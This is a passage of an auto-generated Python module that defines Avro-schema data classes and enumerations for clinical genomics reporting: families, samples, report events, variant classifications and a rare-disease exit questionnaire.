"BONE_MARROW_ASPIRATE_TUMOUR_CELLS", "BLOOD", "SALIVA", "FIBROBLAST", "TISSUE"]}], "doc": ""},
{"name": "product", "type": ["null", {"type": "enum", "name": "Product", "symbols": ["DNA",
"RNA"]}], "doc": ""}, {"name": "preparationMethod", "type": ["null", {"type": "enum", "name":
"PreparationMethod", "symbols": ["EDTA", "ORAGENE", "FF", "FFPE", "CD128_SORTED_CELLS",
"ASPIRATE"]}], "doc": ""}]}}], "doc": ""}, {"name": "inbreedingCoefficient", "type": ["null",
{"type": "record", "name": "InbreedingCoefficient", "doc": "", "fields": [{"name": "sampleId",
"type": "string", "doc": ""}, {"name": "program", "type": "string", "doc": ""}, {"name": "version",
"type": "string", "doc": ""}, {"name": "estimationMethod", "type": "string", "doc": ""}, {"name":
"coefficient", "type": "double", "doc": ""}, {"name": "standardError", "type": ["null", "double"],
"doc": ""}]}], "doc": ""}, {"name": "additionalInformation", "type": ["null", {"type": "map",
"values": "string"}], "doc": ""}]}}, "doc": ""}, {"name": "analysisPanels", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "AnalysisPanel", "doc": "", "fields":
[{"name": "specificDisease", "type": "string", "doc": ""}, {"name": "panelName", "type": "string",
"doc": ""}, {"name": "panelVersion", "type": ["null", "string"], "doc": ""}, {"name":
"reviewOutcome", "type": "string", "doc": ""}, {"name": "multipleGeneticOrigins", "type": "string",
"doc": ""}]}}], "doc": ""}, {"name": "diseasePenetrances", "type": ["null", {"type": "array",
"items": {"type": "record", "name": "DiseasePenetrance", "doc": "", "fields": [{"name":
"specificDisease", "type": "string", "doc": ""}, {"name": "penetrance", "type": {"type": "enum",
"name": "Penetrance", "doc": "", "symbols": ["complete", "incomplete"]}, "doc": ""}]}}], "doc": ""},
{"name": "readyForAnalysis", "type": "boolean", "doc": ""}, {"name": "familyQCState", "type":
["null", {"type": "enum", "name": "FamilyQCState", "doc": "", "symbols": ["noState",
"passedMedicalReviewReadyForInterpretation", "passedMedicalReviewNotReadyForInterpretation",
"queryToGel", "queryToGMC", "failed"]}], "doc": ""}]}, "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"Family",
"FamilyId",
"code",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'Family': Pedigree,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'Family': Pedigree,
}
return embeddedTypes[fieldName]
__slots__ = [
'Family', 'FamilyId', 'code'
]
def __init__(self, **kwargs):
self.Family = kwargs.get(
'Family', Pedigree())
self.FamilyId = kwargs.get(
'FamilyId', None)
self.code = kwargs.get(
'code', None)
class RDFamilyChangeCode(object):
"""
This code define the change type: * `FamilyAdded`: This is a
new family. * `FamilyDeleted`: This family should be removed.
* `ProbandChanged`: The proband participant is now a different
member of the family. * `ParticipantAdded`: A new participant
has been sequenced and added to the family. *
`ParticipantRemoved`: A participant has been removed. *
`ConsentStatusChanged`: One or more participant in this family has
a different consent status. * `AffectionStatusChanged`:
HPOterms or Disorder changed in one or more participants in this
family. * `PanelAssignmentChanged`: Gene Panels has changed in
this family. * `SexChanged`: Sex has changed for one or more
participants in this family. * `SampleChanged`: The sample/s
associated to one or more participant in this family has changed.
"""
FamilyAdded = "FamilyAdded"
FamilyDeleted = "FamilyDeleted"
ProbandChanged = "ProbandChanged"
ParticipantAdded = "ParticipantAdded"
ParticipantRemoved = "ParticipantRemoved"
ConsentStatusChanged = "ConsentStatusChanged"
AffectionStatusChanged = "AffectionStatusChanged"
PanelAssignmentChanged = "PanelAssignmentChanged"
SexChanged = "SexChanged"
SampleChanged = "SampleChanged"
def __hash__(self):
return str(self).__hash__()
class RareDiseaseExitQuestionnaire(ProtocolElement):
"""
The rare disease program exit questionnaire
"""
_schemaSource = """
{"type": "record", "name": "RareDiseaseExitQuestionnaire", "namespace":
"org.gel.models.report.avro", "doc": "", "fields": [{"name": "eventDate", "type": "string", "doc":
""}, {"name": "reporter", "type": "string", "doc": ""}, {"name": "familyLevelQuestions", "type":
{"type": "record", "name": "FamilyLevelQuestions", "doc": "", "fields": [{"name":
"caseSolvedFamily", "type": {"type": "enum", "name": "CaseSolvedFamily", "symbols": ["yes", "no",
"partially", "unknown"]}, "doc": ""}, {"name": "segregationQuestion", "type": {"type": "enum",
"name": "SegregationQuestion", "symbols": ["yes", "no"]}, "doc": ""}, {"name": "additionalComments",
"type": "string", "doc": ""}]}, "doc": ""}, {"name": "variantGroupLevelQuestions", "type": {"type":
"array", "items": {"type": "record", "name": "VariantGroupLevelQuestions", "doc": "", "fields":
[{"name": "variantGroup", "type": "int", "doc": ""}, {"name": "variantLevelQuestions", "type":
{"type": "array", "items": {"type": "record", "name": "VariantLevelQuestions", "doc": "", "fields":
[{"name": "variantCoordinates", "type": {"type": "record", "name": "VariantCoordinates", "doc": "",
"fields": [{"name": "chromosome", "type": "string", "doc": ""}, {"name": "position", "type": "int",
"doc": ""}, {"name": "reference", "type": "string", "doc": ""}, {"name": "alternate", "type":
"string", "doc": ""}, {"name": "assembly", "type": {"type": "enum", "name": "Assembly", "doc": "",
"symbols": ["GRCh38", "GRCh37"]}, "doc": ""}]}, "doc": ""}, {"name": "confirmationDecision", "type":
{"type": "enum", "name": "ConfirmationDecision", "symbols": ["yes", "no", "na"]}, "doc": ""},
{"name": "confirmationOutcome", "type": {"type": "enum", "name": "ConfirmationOutcome", "symbols":
["yes", "no", "na"]}, "doc": ""}, {"name": "reportingQuestion", "type": {"type": "enum", "name":
"ReportingQuestion", "symbols": ["yes", "no", "na"]}, "doc": ""}, {"name": "acmgClassification",
"type": {"type": "enum", "name": "ACMGClassification", "symbols": ["pathogenic_variant",
"likely_pathogenic_variant", "variant_of_unknown_clinical_significance", "likely_benign_variant",
"benign_variant", "not_assessed"]}, "doc": ""}, {"name": "publications", "type": "string", "doc":
""}]}}, "doc": ""}, {"name": "actionability", "type": {"type": "enum", "name": "Actionability",
"symbols": ["yes", "no", "not_yet", "na"]}, "doc": ""}, {"name": "clinicalUtility", "type": {"type":
"array", "items": {"type": "enum", "name": "ClinicalUtility", "symbols": ["none",
"change_in_medication", "surgical_option", "additional_surveillance_for_proband_or_relatives",
"clinical_trial_eligibility", "informs_reproductive_choice", "unknown", "other"]}}, "doc": ""},
{"name": "phenotypesSolved", "type": {"type": "enum", "name": "PhenotypesSolved", "symbols": ["yes",
"no", "partially", "unknown"]}, "doc": ""}, {"name": "phenotypesExplained", "type": ["null",
{"type": "array", "items": "string"}], "doc": ""}]}}, "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"eventDate",
"familyLevelQuestions",
"reporter",
"variantGroupLevelQuestions",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'familyLevelQuestions': FamilyLevelQuestions,
'variantGroupLevelQuestions': VariantGroupLevelQuestions,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'familyLevelQuestions': FamilyLevelQuestions,
'variantGroupLevelQuestions': VariantGroupLevelQuestions,
}
return embeddedTypes[fieldName]
__slots__ = [
'eventDate', 'familyLevelQuestions', 'reporter',
'variantGroupLevelQuestions'
]
def __init__(self, **kwargs):
self.eventDate = kwargs.get(
'eventDate', None)
self.familyLevelQuestions = kwargs.get(
'familyLevelQuestions', FamilyLevelQuestions())
self.reporter = kwargs.get(
'reporter', None)
self.variantGroupLevelQuestions = kwargs.get(
'variantGroupLevelQuestions', None)
class Rearrangement(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "Rearrangement", "namespace": "org.gel.models.report.avro", "fields":
[{"name": "leftCoordinates", "type": {"type": "record", "name": "Coordinates", "fields": [{"name":
"assembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38",
"GRCh37"]}}, {"name": "chromosome", "type": "string"}, {"name": "start", "type": "int"}, {"name":
"end", "type": "int"}, {"name": "ciStart", "type": ["null", {"type": "record", "name":
"ConfidenceInterval", "fields": [{"name": "left", "type": "int"}, {"name": "right", "type":
"int"}]}]}, {"name": "ciEnd", "type": ["null", "ConfidenceInterval"]}]}}, {"name":
"rightCoordinates", "type": "Coordinates"}, {"name": "orientation", "type": {"type": "enum", "name":
"Orientation", "symbols": ["start_start", "start_end", "end_end"]}}, {"name": "leftInsSeq", "type":
["null", "string"]}, {"name": "rightInsSeq", "type": ["null", "string"]}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"leftCoordinates",
"leftInsSeq",
"orientation",
"rightCoordinates",
"rightInsSeq",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'leftCoordinates': Coordinates,
'rightCoordinates': Coordinates,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'leftCoordinates': Coordinates,
'rightCoordinates': Coordinates,
}
return embeddedTypes[fieldName]
__slots__ = [
'leftCoordinates', 'leftInsSeq', 'orientation',
'rightCoordinates', 'rightInsSeq'
]
def __init__(self, **kwargs):
self.leftCoordinates = kwargs.get(
'leftCoordinates', Coordinates())
self.leftInsSeq = kwargs.get(
'leftInsSeq', None)
self.orientation = kwargs.get(
'orientation', None)
self.rightCoordinates = kwargs.get(
'rightCoordinates', Coordinates())
self.rightInsSeq = kwargs.get(
'rightInsSeq', None)
class ReportEvent(ProtocolElement):
"""
A report event holds all the information about why a given variant
is relevant to report. The same variant may have several
report events. For instance, we may have two report events from
the tiering process when two panels are analysed, a positive
report from a Genomic Medicine Centre (GMC) will correspond to an
additional report event.
"""
_schemaSource = """
{"type": "record", "name": "ReportEvent", "namespace": "org.gel.models.report.avro", "doc": "",
"fields": [{"name": "reportEventId", "type": "string", "doc": ""}, {"name": "phenotypes", "type":
{"type": "record", "name": "Phenotypes", "doc": "", "fields": [{"name": "nonStandardPhenotype",
"type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "standardPhenotypes",
"type": ["null", {"type": "array", "items": {"type": "record", "name": "StandardPhenotype", "doc":
"", "fields": [{"name": "id", "type": "string"}, {"name": "name", "type": ["null", "string"]},
{"name": "namespace", "type": ["null", "string"]}, {"name": "definition", "type": ["null",
"string"]}, {"name": "comment", "type": ["null", "string"]}, {"name": "alternativeIds", "type":
["null", "string"]}, {"name": "synonyms", "type": ["null", "string"]}, {"name": "isA", "type":
["null", "string"]}, {"name": "ontology", "type": {"type": "record", "name": "Ontology", "doc": "",
"fields": [{"name": "name", "type": "string"}, {"name": "version", "type": "string"}]}, "doc": ""},
{"name": "matchScore", "type": ["null", "float"], "doc": ""}]}}], "doc": ""}]}, "doc": ""}, {"name":
"variantConsequences", "type": {"type": "array", "items": {"type": "record", "name":
"VariantConsequence", "doc": "", "fields": [{"name": "id", "type": "string", "doc": ""}, {"name":
"name", "type": ["null", "string"], "doc": ""}]}}, "doc": ""}, {"name": "genePanel", "type":
["null", {"type": "record", "name": "GenePanel", "doc": "", "fields": [{"name": "panelIdentifier",
"type": ["null", "string"], "doc": ""}, {"name": "panelName", "type": ["null", "string"], "doc":
""}, {"name": "panelVersion", "type": ["null", "string"], "doc": ""}, {"name": "source", "type":
["null", "string"], "doc": ""}]}], "doc": ""}, {"name": "modeOfInheritance", "type": {"type":
"enum", "name": "ModeOfInheritance", "doc": "", "symbols": ["monoallelic",
"monoallelic_not_imprinted", "monoallelic_maternally_imprinted", "monoallelic_paternally_imprinted",
"biallelic", "monoallelic_and_biallelic", "monoallelic_and_more_severe_biallelic",
"xlinked_biallelic", "xlinked_monoallelic", "mitochondrial", "unknown", "na"]}, "doc": ""}, {"name":
"genomicEntities", "type": {"type": "array", "items": {"type": "record", "name": "GenomicEntity",
"doc": "", "fields": [{"name": "type", "type": {"type": "enum", "name": "GenomicEntityType", "doc":
"", "symbols": ["regulatory_region", "gene", "transcript", "intergenic", "gene_fusion",
"genomic_region", "cytobands"]}, "doc": ""}, {"name": "ensemblId", "type": ["null", "string"],
"doc": ""}, {"name": "geneSymbol", "type": ["null", "string"], "doc": ""}, {"name": "otherIds",
"type": ["null", {"type": "array", "items": {"type": "record", "name": "Identifier", "fields":
[{"name": "source", "type": "string", "doc": ""}, {"name": "identifier", "type": "string", "doc":
""}]}}], "doc": ""}]}}, "doc": ""}, {"name": "segregationPattern", "type": ["null", {"type": "enum",
"name": "SegregationPattern", "symbols": ["UniparentalIsodisomy", "SimpleRecessive",
"CompoundHeterozygous", "deNovo", "InheritedAutosomalDominant",
"InheritedAutosomalDominantMaternallyImprinted", "InheritedAutosomalDominantPaternallyImprinted",
"XLinkedCompoundHeterozygous", "XLinkedSimpleRecessive", "XLinkedMonoallelic",
"MitochondrialGenome"]}], "doc": ""}, {"name": "penetrance", "type": ["null", {"type": "enum",
"name": "Penetrance", "namespace": "org.gel.models.participant.avro", "doc": "", "symbols":
["complete", "incomplete"]}], "doc": ""}, {"name": "deNovoQualityScore", "type": ["null", "float"],
"doc": ""}, {"name": "fullyExplainsPhenotype", "type": ["null", "boolean"], "doc": ""}, {"name":
"groupOfVariants", "type": ["null", "int"], "doc": ""}, {"name": "eventJustification", "type":
["null", "string"], "doc": ""}, {"name": "roleInCancer", "type": ["null", {"type": "array", "items":
{"type": "enum", "name": "RoleInCancer", "doc": "", "symbols": ["oncogene", "tumor_suppressor_gene",
"both"]}}], "doc": ""}, {"name": "actions", "type": ["null", {"type": "record", "name": "Actions",
"doc": "", "fields": [{"name": "trials", "type": ["null", {"type": "array", "items": {"type":
"record", "name": "Trial", "fields": [{"name": "studyUrl", "type": "string", "doc": ""}, {"name":
"studyIdentifier", "type": "string", "doc": ""}, {"name": "startDate", "type": ["null", "string"],
"doc": ""}, {"name": "estimateCompletionDate", "type": ["null", "string"], "doc": ""}, {"name":
"title", "type": ["null", "string"], "doc": ""}, {"name": "phase", "type": ["null", {"type": "enum",
"name": "StudyPhase", "doc": "", "symbols": ["na", "early_phase1", "phase1", "phase1_phase2",
"phase2", "phase2_phase3", "phase3", "phase4"]}], "doc": ""}, {"name": "interventions", "type":
["null", {"type": "array", "items": {"type": "record", "name": "Intervention", "doc": "", "fields":
[{"name": "interventionType", "type": {"type": "enum", "name": "InterventionType", "doc": "",
"symbols": ["drug", "device", "procedure", "biological", "radiation", "behavioral", "genetic",
"dietary_supplement", "combination_product", "diagnostic_test", "other"]}, "doc": ""}, {"name":
"interventionName", "type": "string", "doc": ""}]}}], "doc": ""}, {"name": "conditions", "type":
["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "primaryPurpose", "type":
["null", {"type": "enum", "name": "PrimaryPurpose", "doc": "", "symbols": ["treatment",
"prevention", "diagnostic", "supportive_care", "screening", "health_services_research",
"basic_science", "device_feasibility", "other"]}], "doc": ""}, {"name": "studyType", "type":
["null", {"type": "enum", "name": "StudyType", "doc": "", "symbols": ["interventional",
"observational", "patient_registry", "expanded_access"]}], "doc": ""}, {"name":
"demogrphicElegibilityCriteria", "type": ["null", {"type": "record", "name":
"DemographicElegibilityCriteria", "fields": [{"name": "sex", "type": {"type": "enum", "name": "Sex",
"namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["MALE", "FEMALE",
"UNKNOWN"]}}, {"name": "ageRange", "type": ["null", {"type": "record", "name": "AgeRange", "fields":
[{"name": "minimumAge", "type": "int"}, {"name": "maximumAge", "type": "int"}, {"name": "timeunit",
"type": {"type": "enum", "name": "TimeUnit", "symbols": ["years", "months", "weeks", "days",
"hours", "minutes", "na"]}}]}]}]}], "doc": ""}, {"name": "locations", "type": ["null", {"type":
"array", "items": {"type": "record", "name": "TrialLocation", "fields": [{"name": "name", "type":
["null", "string"]}, {"name": "city", "type": ["null", "string"]}, {"name": "country", "type":
["null", "string"]}, {"name": "zip", "type": ["null", "string"]}]}}], "doc": ""}, {"name":
"variantActionable", "type": "boolean", "doc": ""}]}}]}, {"name": "prognosis", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "Prognosis", "fields": [{"name":
"referenceUrl", "type": "string", "doc": ""}, {"name": "prognosis", "type": ["null", {"type":
"enum", "name": "PrognosisClassification", "symbols": ["altered_prognosis", "favourable_prognosis",
"unfavourable_prognosis"]}], "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""},
{"name": "references", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"description", "type": ["null", "string"], "doc": ""}, {"name": "variantActionable", "type":
"boolean", "doc": ""}]}}]}, {"name": "therapies", "type": ["null", {"type": "array", "items":
{"type": "record", "name": "Therapy", "fields": [{"name": "referenceUrl", "type": "string", "doc":
""}, {"name": "source", "type": ["null", "string"], "doc": ""}, {"name": "references", "type":
["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "conditions", "type": ["null",
{"type": "array", "items": "string"}], "doc": ""}, {"name": "drugResponse", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "DrugResponse", "fields": [{"name":
"TreatmentAgent", "type": "string", "doc": ""}, {"name": "drugResponseClassification", "type":
{"type": "enum", "name": "DrugResponseClassification", "symbols": ["altered_sensitivity",
"reduced_sensitivity", "increased_sensitivity", "altered_resistance", "increased_resistance",
"reduced_resistance", "increased_risk_of_toxicity", "reduced_risk_of_toxicity", "altered_toxicity",
"adverse_drug_reaction", "indication", "contraindication", "dosing_alteration", "increased_dose",
"reduced_dose", "increased_monitoring", "increased_efficacy", "reduced_efficacy",
"altered_efficacy"]}, "doc": ""}]}}], "doc": ""}, {"name": "otherInterventions", "type": ["null",
{"type": "array", "items": "Intervention"}], "doc": ""}, {"name": "variantActionable", "type":
"boolean", "doc": ""}]}}]}]}], "doc": ""}, {"name": "score", "type": ["null", "float"], "doc": ""},
{"name": "vendorSpecificScores", "type": ["null", {"type": "map", "values": "float"}], "doc": ""},
{"name": "variantClassification", "type": ["null", {"type": "record", "name":
"VariantClassification", "doc": "", "fields": [{"name": "clinicalSignificance", "type": ["null",
{"type": "enum", "name": "ClinicalSignificance", "symbols": ["benign", "likely_benign",
"likely_pathogenic", "pathogenic", "uncertain_significance"]}], "doc": ""}, {"name":
"drugResponseClassification", "type": ["null", "DrugResponseClassification"], "doc": ""}, {"name":
"traitAssociation", "type": ["null", {"type": "enum", "name": "TraitAssociation", "symbols":
["established_risk_allele", "likely_risk_allele", "uncertain_risk_allele", "protective"]}], "doc":
""}, {"name": "tumorigenesisClassification", "type": ["null", {"type": "enum", "name":
"TumorigenesisClassification", "symbols": ["driver", "passenger", "modifier"]}], "doc": ""},
{"name": "functionalEffect", "type": ["null", {"type": "enum", "name": "VariantFunctionalEffect",
"symbols": ["dominant_negative_variant", "gain_of_function_variant", "lethal_variant",
"loss_of_function_variant", "loss_of_heterozygosity", "null_variant"]}], "doc": ""}]}], "doc": ""},
{"name": "guidelineBasedVariantClassification", "type": ["null", {"type": "record", "name":
"GuidelineBasedVariantClassification", "doc": "", "fields": [{"name": "acmgVariantClassification",
"type": ["null", {"type": "record", "name": "AcmgVariantClassification", "doc": "", "fields":
[{"name": "acmgEvidences", "type": {"type": "array", "items": {"type": "record", "name":
"AcmgEvidence", "doc": "", "fields": [{"name": "category", "type": {"type": "enum", "name":
"AcmgEvidenceCategory", "doc": "", "symbols": ["population_data",
"computational_and_predictive_data", "functional_data", "segregation_data", "de_novo_data",
"allelic_data", "other_database", "other_data"]}, "doc": ""}, {"name": "type", "type": {"type":
"enum", "name": "AcmgEvidenceType", "doc": "", "symbols": ["bening", "pathogenic"]}, "doc": ""},
{"name": "weight", "type": {"type": "enum", "name": "AcmgEvidenceWeight", "doc": "", "symbols":
["stand_alone", "supporting", "moderate", "strong", "very_strong"]}, "doc": ""}, {"name":
"modifier", "type": "int", "doc": ""}, {"name": "description", "type": ["null", "string"], "doc":
""}]}}}, {"name": "clinicalSignificance", "type": "ClinicalSignificance"}, {"name": "assessment",
"type": ["null", "string"]}]}]}, {"name": "ampVariantClassification", "type": ["null", {"type":
"record", "name": "AmpVariantClassification", "doc": "", "fields": [{"name": "ampEvidences", "type":
{"type": "array", "items": {"type": "record", "name": "AmpEvidence", "doc": "", "fields": [{"name":
"type", "type": {"type": "enum", "name": "AmpEvidenceType", "doc": "", "symbols": ["mutation_type",
"therapies", "variant_frequencies", "potential_germline", "population_database_presence",
"germline_database_presence", "somatic_database_presence", "impact_predictive_software",
"pathway_involvement", "publications"]}, "doc": ""}, {"name": "evidenceAssessment", "type":
"string", "doc": ""}]}}, "doc": ""}, {"name": "ampTier", "type": {"type": "enum", "name": "AmpTier",
"doc": "", "symbols": ["tierI", "tierII", "tierIII", "tierIV"]}, "doc": ""}, {"name":
"ampClincialOrExperimentalEvidence", "type": ["null", {"type": "array", "items": {"type": "record",
"name": "AmpClincialOrExperimentalEvidence", "doc": "", "fields": [{"name": "category", "type":
{"type": "enum", "name": "AmpClinicalOrExperimentalEvidenceCategory", "doc": "", "symbols":
["therapeutic", "diagnosis", "prognosis"]}, "doc": ""}, {"name": "level", "type": {"type": "enum",
"name": "AmpClinicalOrExperimentalEvidenceLevel", "doc": "", "symbols": ["levelA", "levelB",
"levelC", "levelD"]}, "doc": ""}, {"name": "description", "type": ["null", "string"], "doc":
""}]}}], "doc": ""}, {"name": "assessment", "type": ["null", "string"], "doc": ""}]}]}]}], "doc":
""}, {"name": "algorithmBasedVariantClassifications", "type": ["null", {"type": "array", "items":
{"type": "record", "name": "AlgorithmBasedVariantClassification", "fields": [{"name":
"algorithmName", "type": "string", "doc": ""}, {"name": "classification", "type": "string", "doc":
""}, {"name": "rank", "type": ["null", "int"], "doc": ""}, {"name": "score", "type": ["null",
"int"], "doc": ""}]}}], "doc": ""}, {"name": "tier", "type": ["null", {"type": "enum", "name":
"Tier", "doc": "", "symbols": ["NONE", "TIER1", "TIER2", "TIER3", "TIER4", "TIER5", "TIERA",
"TIERB"]}], "doc": ""}, {"name": "domain", "type": ["null", {"type": "enum", "name": "Domain",
"symbols": ["DOMAIN1", "DOMAIN2", "DOMAIN3", "DOMAIN4", "NONE"]}], "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"actions",
"algorithmBasedVariantClassifications",
"deNovoQualityScore",
"domain",
"eventJustification",
"fullyExplainsPhenotype",
"genePanel",
"genomicEntities",
"groupOfVariants",
"guidelineBasedVariantClassification",
"modeOfInheritance",
"penetrance",
"phenotypes",
"reportEventId",
"roleInCancer",
"score",
"segregationPattern",
"tier",
"variantClassification",
"variantConsequences",
"vendorSpecificScores",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'actions': Actions,
'algorithmBasedVariantClassifications': AlgorithmBasedVariantClassification,
'genePanel': GenePanel,
'genomicEntities': GenomicEntity,
'guidelineBasedVariantClassification': GuidelineBasedVariantClassification,
'phenotypes': Phenotypes,
'variantClassification': VariantClassification,
'variantConsequences': VariantConsequence,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'actions': Actions,
'algorithmBasedVariantClassifications': AlgorithmBasedVariantClassification,
'genePanel': GenePanel,
'genomicEntities': GenomicEntity,
'guidelineBasedVariantClassification': GuidelineBasedVariantClassification,
'phenotypes': Phenotypes,
'variantClassification': VariantClassification,
'variantConsequences': VariantConsequence,
}
return embeddedTypes[fieldName]
__slots__ = [
'actions', 'algorithmBasedVariantClassifications',
'deNovoQualityScore', 'domain', 'eventJustification',
'fullyExplainsPhenotype', 'genePanel', 'genomicEntities',
'groupOfVariants', 'guidelineBasedVariantClassification',
'modeOfInheritance', 'penetrance', 'phenotypes',
'reportEventId', 'roleInCancer', 'score',
'segregationPattern', 'tier', 'variantClassification',
'variantConsequences', 'vendorSpecificScores'
]
def __init__(self, **kwargs):
self.actions = kwargs.get(
'actions', None)
self.algorithmBasedVariantClassifications = kwargs.get(
'algorithmBasedVariantClassifications', None)
self.deNovoQualityScore = kwargs.get(
'deNovoQualityScore', None)
self.domain = kwargs.get(
'domain', None)
self.eventJustification = kwargs.get(
'eventJustification', None)
self.fullyExplainsPhenotype = kwargs.get(
'fullyExplainsPhenotype', None)
self.genePanel = kwargs.get(
'genePanel', None)
self.genomicEntities = kwargs.get(
'genomicEntities', None)
self.groupOfVariants = kwargs.get(
'groupOfVariants', None)
self.guidelineBasedVariantClassification = kwargs.get(
'guidelineBasedVariantClassification', None)
self.modeOfInheritance = kwargs.get(
'modeOfInheritance', None)
self.penetrance = kwargs.get(
'penetrance', None)
self.phenotypes = kwargs.get(
'phenotypes', Phenotypes())
self.reportEventId = kwargs.get(
'reportEventId', None)
self.roleInCancer = kwargs.get(
'roleInCancer', None)
self.score = kwargs.get(
'score', None)
self.segregationPattern = kwargs.get(
'segregationPattern', None)
self.tier = kwargs.get(
'tier', None)
self.variantClassification = kwargs.get(
'variantClassification', None)
self.variantConsequences = kwargs.get(
'variantConsequences', None)
self.vendorSpecificScores = kwargs.get(
'vendorSpecificScores', None)
class ReportVersionControl(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "ReportVersionControl", "namespace": "org.gel.models.report.avro",
"fields": [{"name": "gitVersionControl", "type": "string", "doc": "", "default": "6.0.0"}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'gitVersionControl'
]
def __init__(self, **kwargs):
self.gitVersionControl = kwargs.get(
'gitVersionControl', '6.0.0')
class ReportingQuestion(object):
"""
No documentation
"""
yes = "yes"
no = "no"
na = "na"
def __hash__(self):
return str(self).__hash__()
class ReviewedParts(object):
"""
An enumeration for Which parts of the WGA were reviewed?: *
`domain_1`: Domain 1 only * `domain_1_and_2`: Domains 1 and 2 *
`domain_1_2_and_suplementary`: Domains 1, 2 and supplementary
analysis
"""
domain_1 = "domain_1"
domain_1_and_2 = "domain_1_and_2"
domain_1_2_and_suplementary = "domain_1_2_and_suplementary"
def __hash__(self):
return str(self).__hash__()
class RoleInCancer(object):
"""
The role of a given genomic feature in cancer * `NCIT_C16936`:
oncogene. A gene that is a mutated (changed) form of a gene
involved in normal cell growth. Oncogenes may cause the growth of
cancer cells. Mutations in genes that become oncogenes can be
inherited or caused by being exposed to substances in the
environment that cause cancer.
http://purl.obolibrary.org/obo/NCIT_C16936 * `NCIT_C17362`:
tumor_suppressor_gene. A type of gene that makes a protein called
a tumor suppressor protein that helps control cell growth.
Mutations (changes in DNA) in antioncogenes may lead to cancer.
http://purl.obolibrary.org/obo/NCIT_C17362
"""
oncogene = "oncogene"
tumor_suppressor_gene = "tumor_suppressor_gene"
both = "both"
def __hash__(self):
return str(self).__hash__()
class Sample(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "Sample", "namespace": "org.gel.models.participant.avro", "fields":
[{"name": "sampleId", "type": "string", "doc": ""}, {"name": "labSampleId", "type": "int", "doc":
""}, {"name": "source", "type": ["null", {"type": "enum", "name": "SampleSource", "doc": "",
"symbols": ["TUMOUR", "BONE_MARROW_ASPIRATE_TUMOUR_SORTED_CELLS",
"BONE_MARROW_ASPIRATE_TUMOUR_CELLS", "BLOOD", "SALIVA", "FIBROBLAST", "TISSUE"]}], "doc": ""},
{"name": "product", "type": ["null", {"type": "enum", "name": "Product", "symbols": ["DNA",
"RNA"]}], "doc": ""}, {"name": "preparationMethod", "type": ["null", {"type": "enum", "name":
"PreparationMethod", "symbols": ["EDTA", "ORAGENE", "FF", "FFPE", "CD128_SORTED_CELLS",
"ASPIRATE"]}], "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"labSampleId",
"preparationMethod",
"product",
"sampleId",
"source",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'labSampleId', 'preparationMethod', 'product', 'sampleId',
'source'
]
def __init__(self, **kwargs):
self.labSampleId = kwargs.get(
'labSampleId', None)
self.preparationMethod = kwargs.get(
'preparationMethod', None)
self.product = kwargs.get(
'product', None)
self.sampleId = kwargs.get(
'sampleId', None)
self.source = kwargs.get(
'source', None)
class SampleSource(object):
"""
The source of the sample
"""
TUMOUR = "TUMOUR"
BONE_MARROW_ASPIRATE_TUMOUR_SORTED_CELLS = "BONE_MARROW_ASPIRATE_TUMOUR_SORTED_CELLS"
BONE_MARROW_ASPIRATE_TUMOUR_CELLS = "BONE_MARROW_ASPIRATE_TUMOUR_CELLS"
BLOOD = "BLOOD"
SALIVA = "SALIVA"
FIBROBLAST = "FIBROBLAST"
TISSUE = "TISSUE"
def __hash__(self):
return str(self).__hash__()
class SegregationPattern(object):
"""
No documentation
"""
UniparentalIsodisomy = "UniparentalIsodisomy"
SimpleRecessive = "SimpleRecessive"
CompoundHeterozygous = "CompoundHeterozygous"
deNovo = "deNovo"
InheritedAutosomalDominant = "InheritedAutosomalDominant"
InheritedAutosomalDominantMaternallyImprinted = "InheritedAutosomalDominantMaternallyImprinted"
InheritedAutosomalDominantPaternallyImprinted = "InheritedAutosomalDominantPaternallyImprinted"
XLinkedCompoundHeterozygous = "XLinkedCompoundHeterozygous"
XLinkedSimpleRecessive = "XLinkedSimpleRecessive"
XLinkedMonoallelic = "XLinkedMonoallelic"
MitochondrialGenome = "MitochondrialGenome"
def __hash__(self):
return str(self).__hash__()
class SegregationQuestion(object):
"""
No documentation
"""
yes = "yes"
no = "no"
def __hash__(self):
return str(self).__hash__()
class SensitiveInformation(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
